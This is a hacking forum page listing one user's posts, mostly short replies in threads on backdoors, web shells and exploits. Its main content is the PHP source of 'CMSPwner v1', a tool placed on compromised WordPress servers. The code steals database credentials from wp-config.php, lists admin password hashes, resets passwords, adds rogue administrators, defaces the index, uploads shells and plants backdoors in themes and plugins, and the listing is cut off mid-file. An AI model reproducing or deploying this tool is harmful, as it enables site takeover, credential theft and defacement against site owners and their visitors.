Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Xt3mP

Páginas 1 2 3 4 5 6 ... 15
#61
Hacking / Re:Java Applet Attack Method – Backdorizacion con SET by ANTRAX
Octubre 10, 2012, 03:58:26 AM
Ayudantes de este paper: CorruptedByte.

Por cierto, buen paper, saludos.
#62
Perl / Re:[Perl] AOE2 Cheater 0.1
Septiembre 25, 2012, 06:22:01 AM
Esta bueno el script, simple pero eficaz... sólo si se tiene permitido los "cheats"; y lo más probable es que no funcione a modo Multi-player puesto que al menos con quienes juego, no se permiten cheats, pero para joder un rato con los amigos (activando la opción allow cheats) esta bien.

Una alternativa sería ctrol + c y ctrol + v.
#63
Bugs y Exploits / Re:Web-Shell 12309.php
Septiembre 07, 2012, 10:12:01 PM
Eso, o bien deshabilitar la restricción tanto con .htaccess como con php.ini.
#64
Pentesting / Re:CMSPwner v1 [Wordpress Version][Source]
Septiembre 06, 2012, 04:25:44 AM
Esperen a la versión 1.5 que ya tiene el módulo de joomla, y muchísimas mejoras tanto en código como en utilidades.
#65
Bugs y Exploits / Re:Explotando Java7 0day - Exploit .JAR
Agosto 30, 2012, 07:31:39 PM
Cita de: hace 3 días
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

P.D.: El vídeo lo puse también para una demostración, es para complementar la información aquí presente.

Saludos.
#66
Dudas y pedidos generales / Re:ayuda con subir un index que diga owed porfavor....
Agosto 05, 2012, 02:03:58 AM
"Si a un lammer humillas, lammer se quedará". Hay que tratar de invitar a que lea un poco respecto al tema.

Cita de: panik0amm soy novato.. como lo veran.
No es necesario llamarle lammer, puesto que un lammer no acepta que es novato y se cree el mejor "kaker", al menos éste chico acepta que lo es.

Como ya te dijo Moy, lee respecto a esos temas en google, o aquí mismo en el buscador del foro para que te informes un poco y entiendas "algo" de lo que intentarás hacer.
#67
Pentesting / CMSPwner v1 [Wordpress Version][Source]
Agosto 02, 2012, 10:35:39 PM


Cree este script para la comunidad de r00tw0rm llamado CMPwner orientado a facilitar la tarea de penetrar plataformas como Wordpress, Joomla, etc.
Como es la primer versión solo contiene el modulo de Wordpress (esperen por los siguientes)

Con este modulo pueden:
Obtener automáticamente la configuración de la DB.
Obtener la información más importante de Wordpress
Mirar todos los administradores
Resetear la contraseña de cualquiera de ellos
Agregar nuevo administrador
Cambiar el index principal (/) con fopen
Cambiar el index del tema actual con fopen
Cambiar el index del tema actual con cURL (credenciales de usuario requeridas)
Subir shell
Subir shell a cualquier tema
Subir shell a cualquier plugin
Poner un backdoor editando el contenido de cualquier tema
Poner un backdoor editando el contenido de cualquier plugin

Demostration:


Source:
Código: php
<?php
#########
# Script Title: CMSPwner v1 Wordpress Version
# Version: 1.0 Beta
# Date: 02/08/12
# Script Author: Xt3mP
# Home: http://xt3mp.mx
# For: http://r00tw0rm.com
# Contact: xt3mp[at]null[dot]com
#  _____ _____ _____ _____                   
# |     |     |   __|  _  |_ _ _ ___ ___ ___ 
# |   --| | | |__   |   __| | | |   | -_|  _|
# |_____|_|_|_|_____|__|  |_____|_|_|___|_|  
#
#########
session_start();
$authUser = 'Xt3mP';
$authPass = '63a9f0ea7bb98050796b649e85481845';
function checkTable($dbName, $dbPref)
{
	$query = mysql_query('SHOW TABLES FROM '.$dbName) or die(mysql_error());
	$allowedTables = array($dbPref.'options', $dbPref.'users', $dbPref.'usersmeta');
	$counter = 0;
	while($table = mysql_fetch_array($query))
	{
		if(in_array($table[0], $allowedTables))
			$counter++;
	}
	if($counter != 2)
		return false;
	else
		return true;
}
function getInfo($pref, $optionName)
{
	$data = mysql_fetch_object(mysql_query('SELECT option_value FROM '.$pref.'options WHERE option_name="'.$optionName.'"'));
	return $data->option_value;
}
function getVersion($url)
{
	$source = file_get_contents($url);
	$data = preg_match("/<meta name=\"generator\" content=\"WordPress (.*)\" \/>/", $source, $version);
	return $version[1];
}
function getTotalAdmins($pref)
{
	$adms = @mysql_num_rows(@mysql_query('SELECT user_id FROM '.$pref.'usermeta WHERE meta_value=10'));
	return $adms;
}
function getAdmins($pref, $type = 'name')
{
	$adm = @mysql_query('SELECT user_id FROM '.$pref.'usermeta WHERE meta_value=10');
	while($admId = @mysql_fetch_object($adm))
	{
		if($type == 'name')
		{
			$admData = @mysql_fetch_object(@mysql_query('SELECT user_login, user_nicename FROM '.$pref.'users WHERE ID='.$admId->user_id));
			$option .= '<option value="'.$admId->user_id.'">'.$admData->user_login.'['.$admData->user_nicename.']</option>';
		}
		else
		{
			$class = ($number == '0') ? 'dark-green' : 'light-green';
			$admData = @mysql_fetch_object(@mysql_query('SELECT user_login, user_pass, user_email FROM '.$pref.'users WHERE ID='.$admId->user_id));
			$option .= '<tr class="'.$class.'"><td>'.$admData->user_login.'</td><td>'.$admData->user_pass.'</td><td>'.$admData->user_email.'</td></tr>';
			$number = ($number == '0') ? '1' : '0';
		}
	}
	if($type == 'name')
		return $option;
	else
		return '<table width="100%" align="center"><tr class="header"><td>User</td><td>Pass</td><td>Mail</td></tr>'.$option.'</table>';
}
function updateAdmin($pref, $admUser, $admPass)
{
	$newPass = md5($admPass);
	$update = @mysql_query('UPDATE '.$pref.'users SET user_pass="'.$newPass.'" WHERE ID='.$admUser);
	if(!$update)
		return false;
	else
		return true;
}
function getAdminById($pref, $admId)
{
	$admData = @mysql_fetch_object(@mysql_query('SELECT user_login FROM '.$pref.'users WHERE ID='.$admId));
	return $admData->user_login;
}
function checkUser($pref, $admUser)
{
	$adm = @mysql_num_rows(@mysql_query('SELECT user_login FROM '.$pref.'users WHERE user_login="'.$admUser.'"'));
	if($adm > 0)
		return false;
	else
		return true;
}
function addAdminUser($pref, $admUser, $admPass)
{
	$insert = @mysql_query('INSERT INTO '.$pref.'users (user_login, user_pass, user_nicename, user_email) values ("'.$admUser.'", "'.md5($admPass).'", "'.$admUser.'", "'.$admUser.'@'.$admUser.'.com")');
	if(!$insert)
	{
		return false;
	}
	else
		$id = @mysql_fetch_object(@mysql_query('SELECT ID FROM '.$pref.'users WHERE user_login="'.$admUser.'"'));
		$insert = mysql_query('INSERT INTO '.$pref.'usermeta (user_id, meta_key, meta_value) values ('.$id->ID.', "wp_capabilities", "a:1:{s:13:\"administrator\";s:1:\"1\";}")') or die(mysql_error());
		$insert = mysql_query('INSERT INTO '.$pref.'usermeta (user_id, meta_key, meta_value) values ('.$id->ID.', "wp_user_level", "10")') or die(mysql_error());
		return true;
}
function checkLogin($wpUrl, $wpUser, $wpPass)
{
	$fields = 'log='.$wpUser.'&pwd='.$wpPass.'&wp-submit=Acceder';
	$ch = curl_init();  
 	curl_setopt($ch, CURLOPT_USERAGENT, 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0a2) Gecko/20111014 Firefox/9.0a2');
	curl_setopt($ch, CURLOPT_AUTOREFERER, false);
	curl_setopt($ch, CURLOPT_REFERER, $wpUrl);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($ch, CURLOPT_HEADER, 1);
	curl_setopt($ch, CURLOPT_URL, $wpUrl.'/wp-login.php'); 
	curl_setopt($ch, CURLOPT_POST, true);  
	curl_setopt($ch, CURLOPT_POSTFIELDS, $fields); 
	curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
	$data = curl_exec($ch);
	curl_close($ch);
	if(strstr($data, '<strong>ERROR</strong>'))
		return false;
	else
		return true;
}
function sourceIndex($wpUrl, $theme)
{
	$ch = curl_init();  
	curl_setopt($ch, CURLOPT_URL, $wpUrl.'/wp-admin/theme-editor.php?file=index.php&theme='.$theme); 
	curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
 	curl_setopt($ch, CURLOPT_USERAGENT, 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0a2) Gecko/20111014 Firefox/9.0a2');
	curl_setopt($ch, CURLOPT_AUTOREFERER, false);
	curl_setopt($ch, CURLOPT_REFERER, $wpUrl.'/wp-admin/theme-editor.php?file=index.php&theme='.$theme);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
	curl_setopt($ch, CURLOPT_HEADER, 1);
	$data = curl_exec($ch);
	curl_close($ch);
	return $data;
}
function changeIndex($wpUrl, $wpCont, $theme, $wpnonce)
{
	$ch = curl_init();  
	$fields = '_wpnonce='.$wpnonce.'&newcontent='.urlencode($wpCont).'&action=update&file=index.php&theme='.$theme.'&scrollto=0&submit=Actualizar Archivo';
	curl_setopt($ch, CURLOPT_URL, $wpUrl.'/wp-admin/theme-editor.php?file=index.php&theme='.$theme); 
	curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
 	curl_setopt($ch, CURLOPT_USERAGENT, 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0a2) Gecko/20111014 Firefox/9.0a2');
	curl_setopt($ch, CURLOPT_AUTOREFERER, false);
	curl_setopt($ch, CURLOPT_REFERER, $wpUrl.'/wp-admin/theme-editor.php?file=index.php&theme='.$theme);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
	curl_setopt($ch, CURLOPT_HEADER, 1);
	curl_setopt($ch, CURLOPT_POST, true);  
	curl_setopt($ch, CURLOPT_POSTFIELDS, $fields); 
	$data = curl_exec($ch);
	curl_close($ch);
	return true;
}
function getThemes()
{
	$themes = scandir('./wp-content/themes/');
	foreach($themes as $theme)
	{
		if($theme != '.' && $theme != '..' && is_dir('./wp-content/themes/'.$theme))
		{
			$realThemes .= '<option value="'.$theme.'">'.$theme.'</option>';
		}
	}
	return $realThemes;
}
function getPlugins()
{
	$plugins = scandir('./wp-content/plugins/');
	foreach($plugins as $plugin)
	{
		if($plugin != '.' && $plugin != '..' && is_dir('./wp-content/plugins/'.$plugin))
		{
			$pluginData = pathinfo('./wp-content/plugins/'.$plugin);
			$pluginPath = $plugin;
			if(!is_dir('./wp-content/plugins/'.$plugin))
			{
				$pluginPath = '/';
				$plugin = $pluginData['filename'];
			}
			$realPlugins .= '<option value="'.$pluginPath.'">'.$plugin.'</option>';
		}
	}
	return $realPlugins.'<option value="/">/</option>';
}

function getInstalledPlugins($wpUrl, $plugins, $home = false)
{
	$data = preg_match("/a:(.*):{/", $plugins, $a);
	for($i = 0; $i < $a[1]; $i++)
	{
		$c = $a[1] - 1;
		if($i != $c)
		{
			$next = $i + 1;
			$pat = "/i:$i;s:[0-9]*:\"(.*)\";i:$next/";
		}else{
			if($a[1] == 1)
				$pat = "/{i:$i;s:[0-9]*:\"(.*)\";}/";
			else
				$pat = "/;i:$i;s:[0-9]*:\"(.*)\";/";
		}
		$datas = preg_match($pat, $plugins, $b);
		$pluginsc .= (!$home) ? '<a href="'.$wpUrl.'/wp-content/plugins/'.$b[1].'" target="_blank">'.$b[1].'</a><br />' : '<option value="'.$b[1].'">'.$b[1].'</option>';
	}
	return (!$home) ? substr($pluginsc, 0, strlen($pluginsc) - 6) : $pluginsc;
}
?>
<!DOCTYPE html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>CMSPwner v1 [WP Version]</title>
<style type="text/css">html,body,div,span,applet,object,iframe,h1,h2,h3,h  4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,bi  g,cite,code,del,dfn,em,img,ins,kbd,q,s,samp,small,  strike,strong,sub,sup,tt,var,b,u,i,center,dl,dt,dd  ,ol,ul,li,fieldset,form,label,legend,table,caption  ,tbody,tfoot,thead,tr,th,td,article,aside,canvas,d  etails,embed,figure,figcaption,footer,header,hgrou  p,menu,nav,output,ruby,section,summary,time,mark,a  udio,video{border:0;font:inherit;font-size:100%;margin:0;padding:0;vertical-align:baseline}article,aside,details,figcaption,fi  gure,footer,header,hgroup,menu,nav,section{display  :block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:bef  ore,blockquote:after,q:before,q:after{content:none  }table{border-collapse:collapse;border-spacing:0}</style>
<style type="text/css">body{background-color:#2b2b2b;color:#828282;font-family:"Courier New", Courier, monospace;font-size:13px;font-weight:700;line-height:1em}div#container{width:600px}div#container fieldset{background-color:#FBFBFB;border:1px dashed #000;padding:5px;text-align:justify}hr{background-color:#000;color:#000}div#container legend{background-color:#FFF;border:1px dashed #000;color:#000;padding:5px}fieldset#login .a{width:200px}div#container input,div#container select,div#container textarea{-moz-border-radius:3px;-webkit-border-radius:3px;background-color:#333;border:1px dashed #000;border-radius:3px;color:#FFF;font-family:"Courier New", Courier, monospace;font-weight:700;padding:5px;text-align:center;width:148px}div#container textarea{resize:none;width:83%}div#container input:hover,div#container input:focus{font-style:normal}div#container input[type=submit]:hover{background-color:#888;cursor:pointer;text-shadow:1px 1px 1px #999}div#container .error,div#container .success{background-color:#ff4040;border:1px dashed red;color:#FFF;float:left;margin-bottom:5px;padding:5px;width:100%!important}div#co  ntainer .success{background-color:#49A349;border:1px dashed #002E00}div#container .menu{border-bottom:1px dashed #000;float:left;font-size:14px;margin-bottom:5px;padding-bottom:5px;text-align:center;width:100%}.data{float:left;width:98%  }.menu ul li{float:left;height:10px;width:100px}.menu ul li ul{background-color:#FBFBFB;border:1px dashed #000;border-top:none;display:none;float:left;height:auto;margi  n-top:2px;position:relative;width:130px}.menu ul li:hover ul{display:block}.menu ul li ul li{background:#CCC;float:left;height:10px;padding:  5px 0 5px 2px;text-align:left;width:130px}.menu ul li.nonse{float:left;width:20px}div#sql_data,div#da  ta{border-top:1px dashed #000;margin-top:5px;padding-top:5px}div#sql_data label,div#data label{float:left;margin-right:5px;padding:8px 0;text-align:right;width:60px}div#container .clear{float:left;width:100%}div#sql_data input[type=text],div#data input[type=text],div#data select,div#data textarea{margin-right:5px}select{text-align:center}div#container a{color:#111;text-decoration:none}div#container a:hover{color:#191919;text-decoration:underline}div#data{border:none}div#info  {border-bottom:1px dashed #000;padding-bottom:5px}table,td,tr{padding:5px;text-align:center}.header{background-color:#000;color:#FFF}.light-green,.dark-green{background-color:#FCFCFC;color:#000}div#container input[type=submit],.dark-green{background-color:#666}div#sql_data input[type=submit],div#data input[type=submit],div#data select{width:160px}div#container .get_config{border-top:1px dashed #000;margin-top:5px;padding-top:5px;text-align:center}div#container .success a,div#container .success a:hover,.dark-green{color:#FFF}</style>
<script src="http://code.jquery.com/jquery-1.7.2.min.js"></script>
<script>$(function(){windowsHeight=$(window).height();wind  owsWidth=$(window).width();div=$('#container');div  Height=div.height();divWidth=div.width();up=window  sHeight/2.3-(divHeight/2);left=windowsWidth/2-(divWidth/2);$("#container").css("margin-top",up);$("#container").css("margin-left",left);function putValue(fieldId,newValue,defaultValue){if($("#"+fieldId).val()==defaultValue){$("#"+fieldId).val(newValue)}}$("#user").focusin(function(){putValue("user","","User")});$("#user").focusout(function(){putValue("user","User","")});$("#pass").focusin(function(){putValue("pass","","********")});$("#pass").focusout(function(){putValue("pass","********","")});$("#db_srvr").focusin(function(){putValue("db_srvr","","localhost")});$("#db_srvr").focusout(function(){putValue("db_srvr","localhost","")});$("#db_user").focusin(function(){putValue("db_user","","root")});$("#db_user").focusout(function(){putValue("db_user","root","")});$("#db_pass").focusin(function(){putValue("db_pass","","root")});$("#db_pass").focusout(function(){putValue("db_pass","root","")});$("#db_name").focusin(function(){putValue("db_name","","wp_db")});$("#db_name").focusout(function(){putValue("db_name","wp_db","")});$("#db_pref").focusin(function(){putValue("db_pref","","wp_")});$("#db_pref").focusout(function(){putValue("db_pref","wp_","")});$("#new_pass").focusin(function(){putValue("new_pass","","new_pass")});$("#new_pass").focusout(function(){putValue("new_pass","new_pass","")});$("#new_user").focusin(function(){putValue("new_user","","Admin2")});$("#new_user").focusout(function(){putValue("new_user","Admin2","")});$("#wp_url").focusin(function(){putValue("wp_url","","http://site.com/wp")});$("#wp_url").focusout(function(){putValue("wp_url","http://site.com/wp","")});$("#shell_name").focusin(function(){putValue("shell_name","","shell.php")});$("#shell_name").focusout(function(){putValue("shell_name","shell.php","")})});</script>
</head>
<body>
<div id="container">
	<div class="logo">
		<pre>
       _____ __  __  _____ _____                                  __ 
    X / ____|  \/  |/ ____|  __ \                                /_ |X
    t| |    | \  / | (___ | |__) |_      ___ __   ___ _ __  __   _| |t
    3| |    | |\/| |\___ \|  ___/\ \ /\ / / '_ \ / _ \ '__| \ \ / / |3
    m| |____| |  | |____) | |     \ V  V /| | | |  __/ |     \ V /| |m
    P \_____|_|  |_|_____/|_|      \_/\_/ |_| |_|\___|_| t00l \_/ |_|P                                                                  
		</pre>
	</div>
	<form action="" method="POST" enctype="multipart/form-data">
		<?php
		if(!$_SESSION['logged']):
		?>
			<fieldset id="login">
				<legend>CMSPwner v1 - Login</legend>
				<?php
				$showLogin = true;
				if(isset($_POST['login'])):
					$user = $_POST['user'];
					$pass = $_POST['pass'];
					if($user != $authUser or md5($pass) != $authPass):
						echo '<div class="error">Bad username or password</div>';
					else:
						$showLogin = false;
						$_SESSION['logged'] = true;
						$_SESSION['user'] = $user;
						echo '<div class="success">Welcome '.$user.'</div>';
						echo '<META HTTP-EQUIV="refresh" CONTENT="2; url=?">';
					endif;
				endif;
				if($showLogin):
				?>
					<input type="text" id="user" name="user" value="User" class="a"/>
					<input type="password" id="pass" name="pass" value="********" class="a"/>
					<input type="submit" name="login" value="Access" />
				<?php
				endif;
				?>
			</fieldset>
		<?php
		else:
		?>
			<fieldset>
				<?php
				if(!$_SESSION['sqlCredentials']):
				?>
					<legend>CMSPwner v1 - SQL Credentials</legend>
					This system requires SQL credentials to work correctly. Please make sure that your credentials are correct.<br />
					<?php
					$showForm = true;
					if($_GET['s3ct10n'] == 'getconfig'):
						if(isset($_POST['get_config'])):
							$configContent = @file_get_contents('./wp-config.php');
							if(!$configContent):
								echo '<div class="error">Can\'t open/found wp-config.php file</div>';
							else:
								$data = @preg_match("/define\('DB_HOST', '(.*)'\);/", $configContent, $host);
								$data = @preg_match("/define\('DB_USER', '(.*)'\);/", $configContent, $user);
								$data = @preg_match("/define\('DB_PASSWORD', '(.*)'\);/", $configContent, $pass);
								$data = @preg_match("/define\('DB_NAME', '(.*)'\);/", $configContent, $name);
								$data = @preg_match("/table_prefix  = '(.*)';/", $configContent, $pref);
								$_SESSION['dbSrvr'] = $host[1];
								$_SESSION['dbUser'] = $user[1];
								$_SESSION['dbPass'] = $pass[1];
								$_SESSION['dbName'] = $name[1];
								$_SESSION['dbPref'] = $pref[1];
								$showForm = false;
								echo '<div class="success">Configuration obtained correctly</div>';
								echo '<META HTTP-EQUIV="refresh" CONTENT="2; url=?">';
							endif;
						endif;
						if($showForm):
							$file = basename($_SERVER['PHP_SELF']);
					?>
							<div class="get_config" style="text-align:left;">You need put this file in same WP path:</div>
							<div id="sql_data">
								<div class="clear"><label>File:</label><input type="text" value="<?php echo $file; ?>" disabled="disabled" />< Script<br /></div>
								<div class="clear"><label></label><input type="submit" name="get_config" value="Get Config" /></div>
							</div>
					<?php
						endif;
					else:
						if(isset($_POST['sql'])):
							$dbSrvr = $_POST['db_srvr'];
							$dbUser = $_POST['db_user'];
							$dbPass = $_POST['db_pass'];
							$dbName = $_POST['db_name'];
							$dbPref = $_POST['db_pref'];
							$dbCon = @mysql_connect($dbSrvr, $dbUser, $dbPass);
							$dbSel = @mysql_select_db($dbName, $dbCon);
							if(!$dbCon):
								echo '<div class="error">Can\'t connect to the server: '.$dbUser.'@'.$dbSrvr.'</div>';
							elseif(!$dbSel):
								echo '<div class="error">Can\'t select DB: '.$dbName.'</div>';
							elseif(!checkTable($dbName, $dbPref)):
								echo '<div class="error">Can\'t detect WP tables with Preffix: '.$dbPref.'</div>';
							else:
								$_SESSION['dbSrvr'] = $dbSrvr;
								$_SESSION['dbUser'] = $dbUser;
								$_SESSION['dbPass'] = $dbPass;
								$_SESSION['dbName'] = $dbName;
								$_SESSION['dbPref'] = $dbPref;
								$_SESSION['sqlCredentials'] = true;
								$showForm = false;
								echo '<div class="success">SQL Credentials accepted correctly</div>';
								echo '<META HTTP-EQUIV="refresh" CONTENT="2; url=?">';
							endif;
						endif;
						if($showForm):
							$srvr = (empty($_SESSION['dbSrvr'])) ? 'localhost' : $_SESSION['dbSrvr'];
							$user = (empty($_SESSION['dbUser'])) ? 'root' : $_SESSION['dbUser'];
							$pass = (empty($_SESSION['dbPass'])) ? 'root' : $_SESSION['dbPass'];
							$name = (empty($_SESSION['dbName'])) ? 'wp_db' : $_SESSION['dbName'];
							$pref = (empty($_SESSION['dbPref'])) ? 'wp_': $_SESSION['dbPref'];
					?>
							<div class="get_config">[<a href="?s3ct10n=getconfig">Try to get config automatically</a>]</div>
							<div id="sql_data">
								<div class="clear"><label>Server:</label><input type="text" id="db_srvr" name="db_srvr" value="<?php echo $srvr; ?>" />< Insert SQL Server<br /></div>
								<div class="clear"><label>User:</label><input type="text" id="db_user" name="db_user" value="<?php echo $user; ?>" />< Insert SQL Username<br /></div>
								<div class="clear"><label>Pass:</label><input type="text" id="db_pass" name="db_pass" value="<?php echo $pass; ?>" />< Insert SQL Password<br /></div>
								<div class="clear"><label>Name:</label><input type="text" id="db_name" name="db_name" value="<?php echo $name; ?>" />< Insert SQL Database Name<br /></div>
								<div class="clear"><label>Prefix:</label><input type="text" id="db_pref" name="db_pref" value="<?php echo $pref; ?>" />< Insert Wordpress DB Preffix<br /></div>
								<div class="clear"><label></label><input type="submit" name="sql" value="Check SQL Data" />
							</div>
					<?php
						endif;
					endif;
					?>
				<?php
				else:
					$dbCon = @mysql_connect($_SESSION['dbSrvr'], $_SESSION['dbUser'], $_SESSION['dbPass']);
					@mysql_select_db($_SESSION['dbName'], $dbCon);
				?>
					<legend>CMSPwner v1 - System</legend>
					<div class="menu">
						<ul>
							<li>Menu
								<ul>
									<li><a href="?">Home</a></li>
									<li><a href="?s3ct10n=logout">Logout</a></li>
									<li><a href="?s3ct10n=selfremove">Self Remove</a></li>
									<li><a href="?s3ct10n=about">About</a></li>
								</ul>
							</li>
							<li>Admin
								<ul>
									<li><a href="?s3ct10n=1">Adm List</a></li>
									<li><a href="?s3ct10n=2">Reset Adm Pass</a></li>
									<li><a href="?s3ct10n=3">Add New Adm</a></li>
								</ul>
							</li>
							<li>Change Index
								<ul>
									<li><a href="?s3ct10n=4">Main [fopen]</a></li>
									<li><a href="?s3ct10n=5">Theme [cURL]</a></li>
									<li><a href="?s3ct10n=6">Theme [fopen]</a></li>
								</ul>
							</li>
							<li>Shell
								<ul>
									<li><a href="?s3ct10n=7">Upload</a></li>
									<li><a href="?s3ct10n=8">Make [themes]</a></li>
									<li><a href="?s3ct10n=9">Make [plugins]</a></li>
								</ul>
							</li>
							<li>Backdoor
								<ul>
									<li><a href="?s3ct10n=10">Active Theme</a></li>
									<li><a href="?s3ct10n=11">Active Plugin</a></li>
								</ul>
						</ul>
					</div>
					<div class="data">
						<?php
						$s3ct10n = $_GET['s3ct10n'];
						switch($s3ct10n):
							case '':
						?>
								WP Version: <?php echo getVersion(getInfo($_SESSION['dbPref'], 'siteurl')); ?><br />
								WP Url: <a href="#"><?php echo getInfo($_SESSION['dbPref'], 'siteurl'); ?></a><br />
								WP Mail: <?php echo getInfo($_SESSION['dbPref'], 'admin_email'); ?><br />
								WP Theme: <a target="_blank" href="<?php echo getInfo($_SESSION['dbPref'], 'siteurl'); ?>/wp-content/themes/<?php echo getInfo($_SESSION['dbPref'], 'template'); ?>"><?php echo getInfo($_SESSION['dbPref'], 'template'); ?></a><br />
								WP Active Plugins: <br /><?php echo getInstalledPlugins(getInfo($_SESSION['dbPref'], 'siteurl'), getInfo($_SESSION['dbPref'], 'active_plugins')); ?><br />
								WP Adm Users: <?php echo getTotalAdmins($_SESSION['dbPref']); ?><br />
								WP Blog Charset: <?php echo getInfo($_SESSION['dbPref'], 'blog_charset'); ?><br />
								WP DB Host: <?php echo $_SESSION['dbSrvr']; ?><br />
								WP DB User: <?php echo $_SESSION['dbUser']; ?><br />
								WP DB Pass: <?php echo $_SESSION['dbPass']; ?><br />
								WP DB Server: <?php echo $_SESSION['dbName']; ?><br />
								WP DB Preffix: <?php echo $_SESSION['dbPref']; ?>
							<?php
							break;
							case 'logout':
								$showForm = true;
								if(isset($_POST['no'])):
									echo '<META HTTP-EQUIV="refresh" CONTENT="0; url=?">';
								elseif(isset($_POST['yes'])):
									@session_destroy();
									echo '<META HTTP-EQUIV="refresh" CONTENT="0; url=?">';
								endif;
								if($showForm):
							?>
									<div id="info">Logout?</div>
									<div id="data">
										<div class="clear" style="text-align: center;"><input type="submit" value="No" name="no" /> - <input type="submit" value="Yes" name="yes" /></div>
									</div>
							<?php
								endif;
							break;
							case 'selfremove':
								$showForm = true;
								if(isset($_POST['no'])):
									echo '<META HTTP-EQUIV="refresh" CONTENT="0; url=?">';
								elseif(isset($_POST['yes'])):
									@session_destroy();
									@unlink(basename($_SERVER['PHP_SELF']));
									echo '<META HTTP-EQUIV="refresh" CONTENT="0; url=?">';
								endif;
								if($showForm):
							?>
									<div id="info">Self remove?</div>
									<div id="data">
										<div class="clear" style="text-align: center;"><input type="submit" value="No" name="no" /> - <input type="submit" value="Yes" name="yes" /></div>
									</div>
							<?php
								endif;
							break;
							case 'about':
							?>
								<div id="info">About</div>
								<div id="data">
								<pre style="text-align: center;">
                          
                          .--,-``-.                    ,-.----.    
 ,--,     ,--,   ___     /   /     '.            ____  \    /  \   
 |'. \   / .`| ,--.'|_  / ../        ;         ,'  , `.|   :    \  
 ; \ `\ /' / ; |  | :,' \ ``\  .`-    '     ,-+-,.' _ ||   |  .\ : 
 `. \  /  / .' :  : ' :  \___\/   \   :  ,-+-. ;   , ||.   :  |: | 
  \  \/  / ./.;__,'  /        \   :   | ,--.'|'   |  |||   |   \ : 
   \  \.'  / |  |   |         /  /   / |   |  ,', |  |,|   : .   / 
    \  ;  ;  :__,'| :         \  \   \ |   | /  | |--' ;   | |`-'  
   / \  \  \   '  : |__   ___ /   :   ||   : |  | ,    |   | ;     
  ;  /\  \  \  |  | '.'| /   /\   /   :|   : |  |/     :   ' |     
./__;  \  ;  \ ;  :    ;/ ,,/  ',-    .|   | |`-'      :   : :     
|   : / \  \  ;|  ,   / \ ''\        ; |   ;/          |   | :     
;   |/   \  ' | ---`-'   \   \     .'  '---'           `---'.|     
`---'     `--`            `--`-,,-'                      `---`    
</pre>
<pre>
+------------------------------------------------------------------------+
|                       Website: http://xt3mp.mx                         |
|                     Contact: xt3mp[at]null[dot]net                     |
+------------------------------------------------------------------------+
</pre>
								</div>
							<?php
							break;
							case 1:
							?>
								<div id="info">All Admin users appear below:</div>
								<div id="data"><?php echo getAdmins($_SESSION['dbPref'], 'list'); ?></div>
							<?php
							break;
							case 2:
								$showForm = true;
								if(isset($_POST['change_pass'])):
									$admUser = $_POST['adminId'];
									$admPass = $_POST['admin_pass'];
									if(!updateAdmin($_SESSION['dbPref'], $admUser, $admPass)):
										echo '<div class="error">Can\'t update admin password: Internal error</div>';
									else:
										$admUser = getAdminById($_SESSION['dbPref'], $admUser);
										$showForm = false;
										echo '<div class="success">Admin password updated correctly: '.$admUser.'::'.$admPass.'</div>';
										echo '<META HTTP-EQUIV="refresh" CONTENT="2; url=?">';
									endif;
								endif;
							?>
								<?php
								if($showForm):
								?>
									<div id="info">Select Admin User and Insert a New Password:</div>
									<div id="data">
										<div class="clear"><label>User:</label><select name="adminId"><?php echo getAdmins($_SESSION['dbPref']); ?></select>< Select Admin User<br /></div>
										<div class="clear"><label>Pass:</label><input type="text" id="new_pass" name="admin_pass" value="new_pass" />< Insert New Password<br /></div>
										<div class="clear"><label></label><input type="submit" name="change_pass" value="Change Admin Pass" /></div>
									</div>
								<?php
								endif;
								?>
							<?php
							break;
							case 3:
								$showForm = true;
								if(isset($_POST['add_admin'])):
									$admUser = $_POST['admin_user'];
									$admPass = $_POST['admin_pass'];
									if(!checkUser($_SESSION['dbPref'], $admUser)):
										echo '<div class="error">Can\'t add new Admin User: '.$admUser.' is in use</div>';
									elseif(!addAdminUser($_SESSION['dbPref'], $admUser, $admPass)):
										echo '<div class="error">Can\'t insert new Admin User: Internal error</div>';
									else:
										$showForm = false;
										echo '<div class="success">New Admin User inserted correctly: '.$admUser.'::'.$admPass.'</div>';
										echo '<META HTTP-EQUIV="refresh" CONTENT="2; url=?">';
									endif;
								endif;
							?>
								<?php
								if($showForm):
								?>
									<div id="info">Insert New Admin User:</div>
									<div id="data">
										<div class="clear"><label>User:</label><input type="text" id="new_user" name="admin_user" value="Admin2" />< Insert Admin User<br /></div>
										<div class="clear"><label>Pass:</label><input type="text" id="new_pass" name="admin_pass" value="new_pass" />< Insert New Password<br /></div>
										<div class="clear"><label></label><input type="submit" name="add_admin" value="Add New Admin" /></div>
									</div>
								<?php
								endif;
								?>
							<?php
							break;
							case 4:
								$showForm = true;
								$indexContent = @file_get_contents('./index.php');
								if(isset($_POST['change_index'])):
									$newContent = stripslashes($_POST['new_content']);
									$newIndex = @fopen('index.php', 'w+');
									if(!$newIndex):
										echo '<div class="error">Can\'t create new index file</div>';
									else:
										$showForm = false;
										@fwrite($newIndex, $newContent);
										@fclose($newIndex);
										echo '<div class="success">Index updated correctly</div>';
										echo '<META HTTP-EQUIV="refresh" CONTENT="2; url=?">';
									endif;
								endif;
								if($showForm):
								?>
